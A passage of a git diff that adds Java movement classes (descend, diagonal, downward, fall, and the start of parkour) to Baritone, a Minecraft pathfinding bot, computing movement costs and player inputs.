COST_INF) { + return; + } + + Block fromDown = context.get(x, y - 1, z).getBlock(); + if (fromDown == Blocks.LADDER || fromDown == Blocks.VINE) { + return; + } + + // A + //SA + // A + // B + // C + // D + //if S is where you start, B needs to be air for a movementfall + //A is plausibly breakable by either descend or fall + //C, D, etc determine the length of the fall + + BlockState below = context.get(destX, y - 2, destZ); + if (!MovementHelper.canWalkOn(context, destX, y - 2, destZ, below)) { + dynamicFallCost(context, x, y, z, destX, destZ, totalCost, below, res); + return; + } + + if (destDown.getBlock() == Blocks.LADDER || destDown.getBlock() == Blocks.VINE) { + return; + } + if (MovementHelper.canUseFrostWalker(context, destDown)) { // no need to check assumeWalkOnWater + return; // the water will freeze when we try to walk into it + } + + // we walk half the block plus 0.3 to get to the edge, then we walk the other 0.2 while simultaneously falling (math.max because of how it's in parallel) + double walk = WALK_OFF_BLOCK_COST; + if (fromDown == Blocks.SOUL_SAND) { + // use this ratio to apply the soul sand speed penalty to our 0.8 block distance + walk *= WALK_ONE_OVER_SOUL_SAND_COST / WALK_ONE_BLOCK_COST; + } + totalCost += walk + Math.max(FALL_N_BLOCKS_COST[1], CENTER_AFTER_FALL_COST); + res.x = destX; + res.y = y - 1; + res.z = destZ; + res.cost = totalCost; + } + + public static boolean dynamicFallCost(CalculationContext context, int x, int y, int z, int destX, int destZ, double frontBreak, BlockState below, MutableMoveResult res) { + if (frontBreak != 0 && context.get(destX, y + 2, destZ).getBlock() instanceof FallingBlock) { + // if frontBreak is 0 we can actually get through this without updating the falling block and making it actually fall + // but if frontBreak is nonzero, we're breaking blocks in front, so don't let anything fall through this column, + // and potentially replace the water we're going to fall into + return false; + } + if (!MovementHelper.canWalkThrough(context, destX, y - 2, destZ, below)) { + return false; + } + double costSoFar = 0; + int effectiveStartHeight = y; + for (int fallHeight = 3; true; fallHeight++) { + int newY = y - fallHeight; + if (newY < 0) { + // when pathing in the end, where you could plausibly fall into the void + // this check prevents it from getting the block at y=-1 and crashing + return false; + } + BlockState ontoBlock = context.get(destX, newY, destZ); + int unprotectedFallHeight = fallHeight - (y - effectiveStartHeight); // equal to fallHeight - y + effectiveFallHeight, which is equal to -newY + effectiveFallHeight, which is equal to effectiveFallHeight - newY + double tentativeCost = WALK_OFF_BLOCK_COST + FALL_N_BLOCKS_COST[unprotectedFallHeight] + frontBreak + costSoFar; + if (MovementHelper.isWater(ontoBlock)) { + if (!MovementHelper.canWalkThrough(context, destX, newY, destZ, ontoBlock)) { + return false; + } + if (context.assumeWalkOnWater) { + return false; // TODO fix + } + if (MovementHelper.isFlowing(destX, newY, destZ, ontoBlock, context.bsi)) { + return false; // TODO flowing check required here? + } + if (!MovementHelper.canWalkOn(context, destX, newY - 1, destZ)) { + // we could punch right through the water into something else + return false; + } + // found a fall into water + res.x = destX; + res.y = newY; + res.z = destZ; + res.cost = tentativeCost;// TODO incorporate water swim up cost? + return false; + } + if (unprotectedFallHeight <= 11 && (ontoBlock.getBlock() == Blocks.VINE || ontoBlock.getBlock() == Blocks.LADDER)) { + // if fall height is greater than or equal to 11, we don't actually grab on to vines or ladders. the more you know + // this effectively "resets" our falling speed + costSoFar += FALL_N_BLOCKS_COST[unprotectedFallHeight - 1];// we fall until the top of this block (not including this block) + costSoFar += LADDER_DOWN_ONE_COST; + effectiveStartHeight = newY; + continue; + } + if (MovementHelper.canWalkThrough(context, destX, newY, destZ, ontoBlock)) { + continue; + } + if (!MovementHelper.canWalkOn(context, destX, newY, destZ, ontoBlock)) { + return false; + } + if (MovementHelper.isBottomSlab(ontoBlock)) { + return false; // falling onto a half slab is really glitchy, and can cause more fall damage than we'd expect + } + if (unprotectedFallHeight <= context.maxFallHeightNoWater + 1) { + // fallHeight = 4 means onto.up() is 3 blocks down, which is the max + res.x = destX; + res.y = newY + 1; + res.z = destZ; + res.cost = tentativeCost; + return false; + } + if (context.hasWaterBucket && unprotectedFallHeight <= context.maxFallHeightBucket + 1) { + res.x = destX; + res.y = newY + 1;// this is the block we're falling onto, so dest is +1 + res.z = destZ; + res.cost = tentativeCost + context.placeBucketCost(); + return true; + } else { + return false; + } + } + } + + @Override + public MovementState updateState(MovementState state) { + super.updateState(state); + if (state.getStatus() != MovementStatus.RUNNING) { + return state; + } + + BlockPos playerFeet = ctx.playerFeet(); + BlockPos fakeDest = new BlockPos(dest.getX() * 2 - src.getX(), dest.getY(), dest.getZ() * 2 - src.getZ()); + if ((playerFeet.equals(dest) || playerFeet.equals(fakeDest)) && (MovementHelper.isLiquid(ctx, dest) || ctx.player().getPositionVec().y - dest.getY() < 0.5)) { // lilypads + // Wait until we're actually on the ground before saying we're done because sometimes we continue to fall if the next action starts immediately + return state.setStatus(MovementStatus.SUCCESS); + /* else { + // System.out.println(player().getPositionVec().y + " " + playerFeet.getY() + " " + (player().getPositionVec().y - playerFeet.getY())); + }*/ + } + if (safeMode()) { + double destX = (src.getX() + 0.5) * 0.17 + (dest.getX() + 0.5) * 0.83; + double destZ = (src.getZ() + 0.5) * 0.17 + (dest.getZ() + 0.5) * 0.83; + state.setTarget(new MovementState.MovementTarget( + RotationUtils.calcRotationFromVec3d(ctx.playerHead(), + new Vector3d(destX, dest.getY(), destZ), + ctx.playerRotations()).withPitch(ctx.playerRotations().getPitch()), + false + )).setInput(Input.MOVE_FORWARD, true); + return state; + } + double diffX = ctx.player().getPositionVec().x - (dest.getX() + 0.5); + double diffZ = ctx.player().getPositionVec().z - (dest.getZ() + 0.5); + double ab = Math.sqrt(diffX * diffX + diffZ * diffZ); + double x = ctx.player().getPositionVec().x - (src.getX() + 0.5); + double z = ctx.player().getPositionVec().z - (src.getZ() + 0.5); + double fromStart = Math.sqrt(x * x + z * z); + if (!playerFeet.equals(dest) || ab > 0.25) { + if (numTicks++ < 20 && fromStart < 1.25) { + MovementHelper.moveTowards(ctx, state, fakeDest); + } else { + MovementHelper.moveTowards(ctx, state, dest); + } + } + return state; + } + + public boolean safeMode() { + if (forceSafeMode) { + return true; + } + // (dest - src) + dest is offset 1 more in the same direction + // so it's the block we'd need to worry about running into if we decide to sprint straight through this descend + BlockPos into = dest.subtract(src.down()).add(dest); + if (skipToAscend()) { + // if dest extends into can't walk through, but the two above are can walk through, then we can overshoot and glitch in that weird way + return true; + } + for (int y = 0; y <= 2; y++) { // we could hit any of the three blocks + if (MovementHelper.avoidWalkingInto(BlockStateInterface.get(ctx, into.up(y)))) { + return true; + } + } + return false; + } + + public boolean skipToAscend() { + BlockPos into = dest.subtract(src.down()).add(dest); + return !MovementHelper.canWalkThrough(ctx, new BetterBlockPos(into)) && MovementHelper.canWalkThrough(ctx, new BetterBlockPos(into).up()) && MovementHelper.canWalkThrough(ctx, new BetterBlockPos(into).up(2)); + } +} diff --git a/src/baritone/pathing/movement/movements/MovementDiagonal.java b/src/baritone/pathing/movement/movements/MovementDiagonal.java new file mode 100644 index 00000000..e727ad5f --- /dev/null +++ b/src/baritone/pathing/movement/movements/MovementDiagonal.java @@ -0,0 +1,324 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.pathing.movement.movements; + +import baritone.Baritone; +import baritone.api.IBaritone; +import baritone.api.pathing.movement.MovementStatus; +import baritone.api.utils.BetterBlockPos; +import baritone.api.utils.input.Input; +import baritone.pathing.movement.CalculationContext; +import baritone.pathing.movement.Movement; +import baritone.pathing.movement.MovementHelper; +import baritone.pathing.movement.MovementState; +import baritone.utils.BlockStateInterface; +import baritone.utils.pathing.MutableMoveResult; +import com.google.common.collect.ImmutableSet; +import net.minecraft.block.Block; +import net.minecraft.block.BlockState; +import net.minecraft.block.Blocks; +import net.minecraft.client.entity.player.ClientPlayerEntity; +import net.minecraft.util.Direction; +import net.minecraft.util.math.BlockPos; + +import java.util.ArrayList; +import java.util.List; +import java.util.Set; + +public class MovementDiagonal extends Movement { + + private static final double SQRT_2 = Math.sqrt(2); + + public MovementDiagonal(IBaritone baritone, BetterBlockPos start, Direction dir1, Direction dir2, int dy) { + this(baritone, start, start.offset(dir1), start.offset(dir2), dir2, dy); + // super(start, start.offset(dir1).offset(dir2), new BlockPos[]{start.offset(dir1), start.offset(dir1).up(), start.offset(dir2), start.offset(dir2).up(), start.offset(dir1).offset(dir2), start.offset(dir1).offset(dir2).up()}, new BlockPos[]{start.offset(dir1).offset(dir2).down()}); + } + + private MovementDiagonal(IBaritone baritone, BetterBlockPos start, BetterBlockPos dir1, BetterBlockPos dir2, Direction drr2, int dy) { + this(baritone, start, dir1.offset(drr2).up(dy), dir1, dir2); + } + + private MovementDiagonal(IBaritone baritone, BetterBlockPos start, BetterBlockPos end, BetterBlockPos dir1, BetterBlockPos dir2) { + super(baritone, start, end, new BetterBlockPos[]{dir1, dir1.up(), dir2, dir2.up(), end, end.up()}); + } + + @Override + protected boolean safeToCancel(MovementState state) { + //too simple. backfill does not work after cornering with this + //return context.precomputedData.canWalkOn(ctx, ctx.playerFeet().down()); + ClientPlayerEntity player = ctx.player(); + double offset = 0.25; + double x = player.getPositionVec().x; + double y = player.getPositionVec().y - 1; + double z = player.getPositionVec().z; + //standard + if (ctx.playerFeet().equals(src)) { + return true; + } + //both corners are walkable + if (MovementHelper.canWalkOn(ctx, new BlockPos(src.x, src.y - 1, dest.z)) + && MovementHelper.canWalkOn(ctx, new BlockPos(dest.x, src.y - 1, src.z))) { + return true; + } + //we are in a likely unwalkable corner, check for a supporting block + if (ctx.playerFeet().equals(new BetterBlockPos(src.x, src.y, dest.z)) + || ctx.playerFeet().equals(new BetterBlockPos(dest.x, src.y, src.z))) { + return (MovementHelper.canWalkOn(ctx, new BetterBlockPos(x + offset, y, z + offset)) + || MovementHelper.canWalkOn(ctx, new BetterBlockPos(x + offset, y, z - offset)) + || MovementHelper.canWalkOn(ctx, new BetterBlockPos(x - offset, y, z + offset)) + || MovementHelper.canWalkOn(ctx, new BetterBlockPos(x - offset, y, z - offset))); + } + return true; + } + + @Override + public double calculateCost(CalculationContext context) { + MutableMoveResult result = new MutableMoveResult(); + cost(context, src.x, src.y, src.z, dest.x, dest.z, result); + if (result.y != dest.y) { + return COST_INF; // doesn't apply to us, this position is incorrect + } + return result.cost; + } + + @Override + protected Set calculateValidPositions() { + BetterBlockPos diagA = new BetterBlockPos(src.x, src.y, dest.z); + BetterBlockPos diagB = new BetterBlockPos(dest.x, src.y, src.z); + if (dest.y < src.y) { + return ImmutableSet.of(src, dest.up(), diagA, diagB, dest, diagA.down(), diagB.down()); + } + if (dest.y > src.y) { + return ImmutableSet.of(src, src.up(), diagA, diagB, dest, diagA.up(), diagB.up()); + } + return ImmutableSet.of(src, dest, diagA, diagB); + } + + public static void cost(CalculationContext context, int x, int y, int z, int destX, int destZ, MutableMoveResult res) { + if (!MovementHelper.canWalkThrough(context, destX, y + 1, destZ)) { + return; + } + BlockState destInto = context.get(destX, y, destZ); + BlockState fromDown; + boolean ascend = false; + BlockState destWalkOn; + boolean descend = false; + boolean frostWalker = false; + if (!MovementHelper.canWalkThrough(context, destX, y, destZ, destInto)) { + ascend = true; + if (!context.allowDiagonalAscend || !MovementHelper.canWalkThrough(context, x, y + 2, z) || !MovementHelper.canWalkOn(context, destX, y, destZ, destInto) || !MovementHelper.canWalkThrough(context, destX, y + 2, destZ)) { + return; + } + destWalkOn = destInto; + fromDown = context.get(x, y - 1, z); + } else { + destWalkOn = context.get(destX, y - 1, destZ); + fromDown = context.get(x, y - 1, z); + boolean standingOnABlock = MovementHelper.mustBeSolidToWalkOn(context, x, y - 1, z, fromDown); + frostWalker = standingOnABlock && MovementHelper.canUseFrostWalker(context, destWalkOn); + if (!frostWalker && !MovementHelper.canWalkOn(context, destX, y - 1, destZ, destWalkOn)) { + descend = true; + if (!context.allowDiagonalDescend || !MovementHelper.canWalkOn(context, destX, y - 2, destZ) || !MovementHelper.canWalkThrough(context, destX, y - 1, destZ, destWalkOn)) { + return; + } + } + frostWalker &= !context.assumeWalkOnWater; // do this after checking for descends because jesus can't prevent the water from freezing, it just prevents us from relying on the water freezing + } + double multiplier = WALK_ONE_BLOCK_COST; + // For either possible soul sand, that affects half of our walking + if (destWalkOn.getBlock() == Blocks.SOUL_SAND) { + multiplier += (WALK_ONE_OVER_SOUL_SAND_COST - WALK_ONE_BLOCK_COST) / 2; + } else if (frostWalker) { + // frostwalker lets us walk on water without the penalty + } else if (destWalkOn.getBlock() == Blocks.WATER) { + multiplier += context.walkOnWaterOnePenalty * SQRT_2; + } + Block fromDownBlock = fromDown.getBlock(); + if (fromDownBlock == Blocks.LADDER || fromDownBlock == Blocks.VINE) { + return; + } + if (fromDownBlock == Blocks.SOUL_SAND) { + multiplier += (WALK_ONE_OVER_SOUL_SAND_COST - WALK_ONE_BLOCK_COST) / 2; + } + BlockState cuttingOver1 = context.get(x, y - 1, destZ); + if (cuttingOver1.getBlock() == Blocks.MAGMA_BLOCK || MovementHelper.isLava(cuttingOver1)) { + return; + } + BlockState cuttingOver2 = context.get(destX, y - 1, z); + if (cuttingOver2.getBlock() == Blocks.MAGMA_BLOCK || MovementHelper.isLava(cuttingOver2)) { + return; + } + boolean water = false; + BlockState startState = context.get(x, y, z); + Block startIn = startState.getBlock(); + if (MovementHelper.isWater(startState) || MovementHelper.isWater(destInto)) { + if (ascend) { + return; + } + // Ignore previous multiplier + // Whatever we were walking on (possibly soul sand) doesn't matter as we're actually floating on water + // Not even touching the blocks below + multiplier = context.waterWalkSpeed; + water = true; + } + BlockState pb0 = context.get(x, y, destZ); + BlockState pb2 = context.get(destX, y, z); + if (ascend) { + boolean ATop = MovementHelper.canWalkThrough(context, x, y + 2, destZ); + boolean AMid = MovementHelper.canWalkThrough(context, x, y + 1, destZ); + boolean ALow = MovementHelper.canWalkThrough(context, x, y, destZ, pb0); + boolean BTop = MovementHelper.canWalkThrough(context, destX, y + 2, z); + boolean BMid = MovementHelper.canWalkThrough(context, destX, y + 1, z); + boolean BLow = MovementHelper.canWalkThrough(context, destX, y, z, pb2); + if ((!(ATop && AMid && ALow) && !(BTop && BMid && BLow)) // no option + || MovementHelper.avoidWalkingInto(pb0) // bad + || MovementHelper.avoidWalkingInto(pb2) // bad + || (ATop && AMid && MovementHelper.canWalkOn(context, x, y, destZ, pb0)) // we could just ascend + || (BTop && BMid && MovementHelper.canWalkOn(context, destX, y, z, pb2)) // we could just ascend + || (!ATop && AMid && ALow) // head bonk A + || (!BTop && BMid && BLow)) { // head bonk B + return; + } + res.cost = multiplier * SQRT_2 + JUMP_ONE_BLOCK_COST; + res.x = destX; + res.z = destZ; + res.y = y + 1; + return; + } + double optionA = MovementHelper.getMiningDurationTicks(context, x, y, destZ, pb0, false); + double optionB = MovementHelper.getMiningDurationTicks(context, destX, y, z, pb2, false); + if (optionA != 0 && optionB != 0) { + // check these one at a time -- if pb0 and pb2 were nonzero, we already know that (optionA != 0 && optionB != 0) + // so no need to check pb1 as well, might as well return early here + return; + } + BlockState pb1 = context.get(x, y + 1, destZ); + optionA += MovementHelper.getMiningDurationTicks(context, x, y + 1, destZ, pb1, true); + if (optionA != 0 && optionB != 0) { + // same deal, if pb1 makes optionA nonzero and option B already was nonzero, pb3 can't affect the result + return; + } + BlockState pb3 = context.get(destX, y + 1, z); + if (optionA == 0 && ((MovementHelper.avoidWalkingInto(pb2) && pb2.getBlock() != Blocks.WATER) || MovementHelper.avoidWalkingInto(pb3))) { + // at this point we're done calculating optionA, so we can check if it's actually possible to edge around in that direction + return; + } + optionB += MovementHelper.getMiningDurationTicks(context, destX, y + 1, z, pb3, true); + if (optionA != 0 && optionB != 0) { + // and finally, if the cost is nonzero for both ways to approach this diagonal, it's not possible + return; + } + if (optionB == 0 && ((MovementHelper.avoidWalkingInto(pb0) && pb0.getBlock() != Blocks.WATER) || MovementHelper.avoidWalkingInto(pb1))) { + // and now that option B is fully calculated, see if we can edge around that way + return; + } + if (optionA != 0 || optionB != 0) { + multiplier *= SQRT_2 - 0.001; // TODO tune + if (startIn == Blocks.LADDER || startIn == Blocks.VINE) { + // edging around doesn't work if doing so would climb a ladder or vine instead of moving sideways + return; + } + } else { + // only can sprint if not edging around + if (context.canSprint && !water) { + // If we aren't edging around anything, and we aren't in water + // We can sprint =D + // Don't check for soul sand, since we can sprint on that too + multiplier *= SPRINT_MULTIPLIER; + } + } + res.cost = multiplier * SQRT_2; + if (descend) { + res.cost += Math.max(FALL_N_BLOCKS_COST[1], CENTER_AFTER_FALL_COST); + res.y = y - 1; + } else { + res.y = y; + } + res.x = destX; + res.z = destZ; + } + + @Override + public MovementState updateState(MovementState state) { + super.updateState(state); + if (state.getStatus() != MovementStatus.RUNNING) { + return state; + } + + if (ctx.playerFeet().equals(dest)) { + return state.setStatus(MovementStatus.SUCCESS); + } else if (!playerInValidPosition() && !(MovementHelper.isLiquid(ctx, src) && getValidPositions().contains(ctx.playerFeet().up()))) { + return state.setStatus(MovementStatus.UNREACHABLE); + } + if (dest.y > src.y && ctx.player().getPositionVec().y < src.y + 0.1 && ctx.player().collidedHorizontally) { + state.setInput(Input.JUMP, true); + } + if (sprint()) { + state.setInput(Input.SPRINT, true); + } + MovementHelper.moveTowards(ctx, state, dest); + return state; + } + + private boolean sprint() { + if (MovementHelper.isLiquid(ctx, ctx.playerFeet()) && !Baritone.settings().sprintInWater.value) { + return false; + } + for (int i = 0; i < 4; i++) { + if (!MovementHelper.canWalkThrough(ctx, positionsToBreak[i])) { + return false; + } + } + return true; + } + + @Override + protected boolean prepared(MovementState state) { + return true; + } + + @Override + public List toBreak(BlockStateInterface bsi) { + if (toBreakCached != null) { + return toBreakCached; + } + List result = new ArrayList<>(); + for (int i = 4; i < 6; i++) { + if (!MovementHelper.canWalkThrough(bsi, positionsToBreak[i].x, positionsToBreak[i].y, positionsToBreak[i].z)) { + result.add(positionsToBreak[i]); + } + } + toBreakCached = result; + return result; + } + + @Override + public List toWalkInto(BlockStateInterface bsi) { + if (toWalkIntoCached == null) { + toWalkIntoCached = new ArrayList<>(); + } + List result = new ArrayList<>(); + for (int i = 0; i < 4; i++) { + if (!MovementHelper.canWalkThrough(bsi, positionsToBreak[i].x, positionsToBreak[i].y, positionsToBreak[i].z)) { + result.add(positionsToBreak[i]); + } + } + toWalkIntoCached = result; + return toWalkIntoCached; + } +} diff --git a/src/baritone/pathing/movement/movements/MovementDownward.java b/src/baritone/pathing/movement/movements/MovementDownward.java new file mode 100644 index 00000000..9115cd9f --- /dev/null +++ b/src/baritone/pathing/movement/movements/MovementDownward.java @@ -0,0 +1,97 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.pathing.movement.movements; + +import baritone.api.IBaritone; +import baritone.api.pathing.movement.MovementStatus; +import baritone.api.utils.BetterBlockPos; +import baritone.pathing.movement.CalculationContext; +import baritone.pathing.movement.Movement; +import baritone.pathing.movement.MovementHelper; +import baritone.pathing.movement.MovementState; +import com.google.common.collect.ImmutableSet; +import net.minecraft.block.Block; +import net.minecraft.block.BlockState; +import net.minecraft.block.Blocks; + +import java.util.Set; + +public class MovementDownward extends Movement { + + private int numTicks = 0; + + public MovementDownward(IBaritone baritone, BetterBlockPos start, BetterBlockPos end) { + super(baritone, start, end, new BetterBlockPos[]{end}); + } + + @Override + public void reset() { + super.reset(); + numTicks = 0; + } + + @Override + public double calculateCost(CalculationContext context) { + return cost(context, src.x, src.y, src.z); + } + + @Override + protected Set calculateValidPositions() { + return ImmutableSet.of(src, dest); + } + + public static double cost(CalculationContext context, int x, int y, int z) { + if (!context.allowDownward) { + return COST_INF; + } + if (!MovementHelper.canWalkOn(context, x, y - 2, z)) { + return COST_INF; + } + BlockState down = context.get(x, y - 1, z); + Block downBlock = down.getBlock(); + if (downBlock == Blocks.LADDER || downBlock == Blocks.VINE) { + return LADDER_DOWN_ONE_COST; + } else { + // we're standing on it, while it might be block falling, it'll be air by the time we get here in the movement + return FALL_N_BLOCKS_COST[1] + MovementHelper.getMiningDurationTicks(context, x, y - 1, z, down, false); + } + } + + @Override + public MovementState updateState(MovementState state) { + super.updateState(state); + if (state.getStatus() != MovementStatus.RUNNING) { + return state; + } + + if (ctx.playerFeet().equals(dest)) { + return state.setStatus(MovementStatus.SUCCESS); + } else if (!playerInValidPosition()) { + return state.setStatus(MovementStatus.UNREACHABLE); + } + double diffX = ctx.player().getPositionVec().x - (dest.getX() + 0.5); + double diffZ = ctx.player().getPositionVec().z - (dest.getZ() + 0.5); + double ab = Math.sqrt(diffX * diffX + diffZ * diffZ); + + if (numTicks++ < 10 && ab < 0.2) { + return state; + } + MovementHelper.moveTowards(ctx, state, positionsToBreak[0]); + return state; + } +} diff --git a/src/baritone/pathing/movement/movements/MovementFall.java b/src/baritone/pathing/movement/movements/MovementFall.java new file mode 100644 index 00000000..9d36c4b5 --- /dev/null +++ b/src/baritone/pathing/movement/movements/MovementFall.java @@ -0,0 +1,205 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.pathing.movement.movements; + +import baritone.api.IBaritone; +import baritone.api.pathing.movement.MovementStatus; +import baritone.api.utils.BetterBlockPos; +import baritone.api.utils.Rotation; +import baritone.api.utils.RotationUtils; +import baritone.api.utils.VecUtils; +import baritone.api.utils.input.Input; +import baritone.pathing.movement.CalculationContext; +import baritone.pathing.movement.Movement; +import baritone.pathing.movement.MovementHelper; +import baritone.pathing.movement.MovementState; +import baritone.pathing.movement.MovementState.MovementTarget; +import baritone.utils.pathing.MutableMoveResult; +import net.minecraft.block.Block; +import net.minecraft.block.BlockState; +import net.minecraft.block.Blocks; +import net.minecraft.block.LadderBlock; +import net.minecraft.entity.player.PlayerInventory; +import net.minecraft.fluid.WaterFluid; +import net.minecraft.item.ItemStack; +import net.minecraft.item.Items; +import net.minecraft.util.Direction; +import net.minecraft.util.math.BlockPos; +import net.minecraft.util.math.vector.Vector3d; +import net.minecraft.util.math.vector.Vector3i; +import net.minecraft.world.World; + +import java.util.HashSet; +import java.util.Optional; +import java.util.Set; + +public class MovementFall extends Movement { + + private static final ItemStack STACK_BUCKET_WATER = new ItemStack(Items.WATER_BUCKET); + private static final ItemStack STACK_BUCKET_EMPTY = new ItemStack(Items.BUCKET); + + public MovementFall(IBaritone baritone, BetterBlockPos src, BetterBlockPos dest) { + super(baritone, src, dest, MovementFall.buildPositionsToBreak(src, dest)); + } + + @Override + public double calculateCost(CalculationContext context) { + MutableMoveResult result = new MutableMoveResult(); + MovementDescend.cost(context, src.x, src.y, src.z, dest.x, dest.z, result); + if (result.y != dest.y) { + return COST_INF; // doesn't apply to us, this position is a descend not a fall + } + return result.cost; + } + + @Override + protected Set calculateValidPositions() { + Set set = new HashSet<>(); + set.add(src); + for (int y = src.y - dest.y; y >= 0; y--) { + set.add(dest.up(y)); + } + return set; + } + + private boolean willPlaceBucket() { + CalculationContext context = new CalculationContext(baritone); + MutableMoveResult result = new MutableMoveResult(); + return MovementDescend.dynamicFallCost(context, src.x, src.y, src.z, dest.x, dest.z, 0, context.get(dest.x, src.y - 2, dest.z), result); + } + + @Override + public MovementState updateState(MovementState state) { + super.updateState(state); + if (state.getStatus() != MovementStatus.RUNNING) { + return state; + } + + BlockPos playerFeet = ctx.playerFeet(); + Rotation toDest = RotationUtils.calcRotationFromVec3d(ctx.playerHead(), VecUtils.getBlockPosCenter(dest), ctx.playerRotations()); + Rotation targetRotation = null; + BlockState destState = ctx.world().getBlockState(dest); + Block destBlock = destState.getBlock(); + boolean isWater = destState.getFluidState().getFluid() instanceof WaterFluid; + if (!isWater && willPlaceBucket() && !playerFeet.equals(dest)) { + if (!PlayerInventory.isHotbar(ctx.player().inventory.getSlotFor(STACK_BUCKET_WATER)) || ctx.world().getDimensionKey() == World.THE_NETHER) { + return state.setStatus(MovementStatus.UNREACHABLE); + } + + if (ctx.player().getPositionVec().y - dest.getY() < ctx.playerController().getBlockReachDistance() && !ctx.player().isOnGround()) { + ctx.player().inventory.currentItem = ctx.player().inventory.getSlotFor(STACK_BUCKET_WATER); + + targetRotation = new Rotation(toDest.getYaw(), 90.0F); + + if (ctx.isLookingAt(dest) || ctx.isLookingAt(dest.down())) { + state.setInput(Input.CLICK_RIGHT, true); + } + } + } + if (targetRotation != null) { + state.setTarget(new MovementTarget(targetRotation, true)); + } else { + state.setTarget(new MovementTarget(toDest, false)); + } + if (playerFeet.equals(dest) && (ctx.player().getPositionVec().y - playerFeet.getY() < 0.094 || isWater)) { // 0.094 because lilypads + if (isWater) { // only match water, not flowing water (which we cannot pick up with a bucket) + if (PlayerInventory.isHotbar(ctx.player().inventory.getSlotFor(STACK_BUCKET_EMPTY))) { + ctx.player().inventory.currentItem = ctx.player().inventory.getSlotFor(STACK_BUCKET_EMPTY); + if (ctx.player().getMotion().y >= 0) { + return state.setInput(Input.CLICK_RIGHT, true); + } else { + return state; + } + } else { + if (ctx.player().getMotion().y >= 0) { + return state.setStatus(MovementStatus.SUCCESS); + } // don't else return state; we need to stay centered because this water might be flowing under the surface + } + } else { + return state.setStatus(MovementStatus.SUCCESS); + } + } + Vector3d destCenter = VecUtils.getBlockPosCenter(dest); // we are moving to the 0.5 center not the edge (like if we were falling on a ladder) + if (Math.abs(ctx.player().getPositionVec().x + ctx.player().getMotion().x - destCenter.x) > 0.1 || Math.abs(ctx.player().getPositionVec().z + ctx.player().getMotion().z - destCenter.z) > 0.1) { + if (!ctx.player().isOnGround() && Math.abs(ctx.player().getMotion().y) > 0.4) { + state.setInput(Input.SNEAK, true); + } + state.setInput(Input.MOVE_FORWARD, true); + } + Vector3i avoid = Optional.ofNullable(avoid()).map(Direction::getDirectionVec).orElse(null); + if (avoid == null) { + avoid = src.subtract(dest); + } else { + double dist = Math.abs(avoid.getX() * (destCenter.x - avoid.getX() / 2.0 - ctx.player().getPositionVec().x)) + Math.abs(avoid.getZ() * (destCenter.z - avoid.getZ() / 2.0 - ctx.player().getPositionVec().z)); + if (dist < 0.6) { + state.setInput(Input.MOVE_FORWARD, true); + } else if (!ctx.player().isOnGround()) { + state.setInput(Input.SNEAK, false); + } + } + if (targetRotation == null) { + Vector3d destCenterOffset = new Vector3d(destCenter.x + 0.125 * avoid.getX(), destCenter.y, destCenter.z + 0.125 * avoid.getZ()); + state.setTarget(new MovementTarget(RotationUtils.calcRotationFromVec3d(ctx.playerHead(), destCenterOffset, ctx.playerRotations()), false)); + } + return state; + } + + private Direction avoid() { + for (int i = 0; i < 15; i++) { + BlockState state = ctx.world().getBlockState(ctx.playerFeet().down(i)); + if (state.getBlock() == Blocks.LADDER) { + return state.get(LadderBlock.FACING); + } + } + return null; + } + + @Override + public boolean safeToCancel(MovementState state) { + // if we haven't started walking off the edge yet, or if we're in the process of breaking blocks before doing the fall + // then it's safe to cancel this + return ctx.playerFeet().equals(src) || state.getStatus() != MovementStatus.RUNNING; + } + + private static BetterBlockPos[] buildPositionsToBreak(BetterBlockPos src, BetterBlockPos dest) { + BetterBlockPos[] toBreak; + int diffX = src.getX() - dest.getX(); + int diffZ = src.getZ() - dest.getZ(); + int diffY = src.getY() - dest.getY(); + toBreak = new BetterBlockPos[diffY + 2]; + for (int i = 0; i < toBreak.length; i++) { + toBreak[i] = new BetterBlockPos(src.getX() - diffX, src.getY() + 1 - i, src.getZ() - diffZ); + } + return toBreak; + } + + @Override + protected boolean prepared(MovementState state) { + if (state.getStatus() == MovementStatus.WAITING) { + return true; + } + // only break if one of the first three needs to be broken + // specifically ignore the last one which might be water + for (int i = 0; i < 4 && i < positionsToBreak.length; i++) { + if (!MovementHelper.canWalkThrough(ctx, positionsToBreak[i])) { + return super.prepared(state); + } + } + return true; + } +} diff --git a/src/baritone/pathing/movement/movements/MovementParkour.java b/src/baritone/pathing/movement/movements/MovementParkour.java new file mode 100644 index 00000000..b1327c00 --- /dev/null +++ b/src/baritone/pathing/movement/movements/MovementParkour.java @@ -0,0 +1,310 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.pathing.movement.movements; + +import baritone.Baritone; +import baritone.api.IBaritone; +import baritone.api.pathing.movement.MovementStatus; +import baritone.api.utils.BetterBlockPos; +import baritone.api.utils.input.Input; +import 